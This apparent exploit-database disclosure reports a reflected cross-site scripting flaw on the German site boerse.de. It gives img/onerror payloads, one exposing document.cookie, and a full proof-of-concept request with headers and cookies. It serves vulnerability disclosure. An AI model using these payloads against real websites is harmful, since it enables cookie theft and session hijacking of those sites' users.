# Exploit Title: [ Reflected XSS at Boerse DE ]
 
# Date: [22.05.2018]
 
# Exploit Author: [Ismail Tasdelen]

# Vendor Homepage: [https://www.boerse.de]
 
# Software Link: [ Website ]
 
# Version: 1.0.0

# Tested on: Google Chrome / Mozilla FireFox 
 
# Reflected XSS Payload :

"><img%20src=x%20onerror=prompt(%27ismailtasdelen%27)>
"><img%20src=x%20onerror=prompt(document.cookie)>
"><img%20src=x%20onerror=prompt(document.domain)>

# PoC :

# General :

Request URL: https://www.boerse.de/ajax/mybacstart.php?mode=register&user=%22%3E%3Cimg%20src=x%20onerror=prompt(%27ismailtasdelen%27)%3E&email=&pass=&pass2=&anrede=null&vorname=&name=&str=&plz=&ort=&land=null&agbok=false&linknr=67450inurl
Request Method: GET
Status Code: 200 OK
Remote Address: 217.72.219.144:443
Referrer Policy: no-referrer-when-downgrade

# Request Headers :

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Cookie: boersedeID=516638000; _ga=GA1.2.989253144.1526983087; _gid=GA1.2.801464415.1526983087; __sharethis_cookie_test__=1; _pk_ses.1.f29b=*; adp_segs=e0; __gads=ID=937cc82898e826b7:T=1526983084:S=ALNI_MaHFHxkarZZeXIErPdIGn7mZhyCxg; SL_C_23361dd035530_KEY=7780e94e74cea2ef6812c53aebc29e9f964cbf7b; cookieconsent_dismissed=yes; POPUPCHECK=1527069573974; axd=1001117171158050011; __unam=2e3076a-1638748d442-6be076fe-4; _pk_id.1.f29b=3d943b1a245b740e.1526983089.1.1526983820.1526983089.
Host: www.boerse.de
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36

# Response Headers :

Access-Control-Allow-Credentials: true
Connection: keep-alive
Content-Encoding: gzip
Content-Length: 3675
Content-Type: text/html; charset=utf-8
Date: Tue, 22 May 2018 10:17:49 GMT
Server: nginx/1.2.1
Set-Cookie: boersedeID=516638000; expires=Thu, 21-Jun-2018 10:17:26 GMT; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.4-14+deb7u9
X-XSS-Protection: 0

# Query String Parameters :

mode: register
user: "><img src=x onerror=prompt('ismailtasdelen')>
email: 
pass: 
pass2: 
anrede: null
vorname: 
name: 
str: 
plz: 
ort: 
land: null
agbok: false
linknr: 67450inurl

# You want to follow my activity ?

https://www.linkedin.com/in/ismailtasdelen
https://github.com/ismailtasdelen
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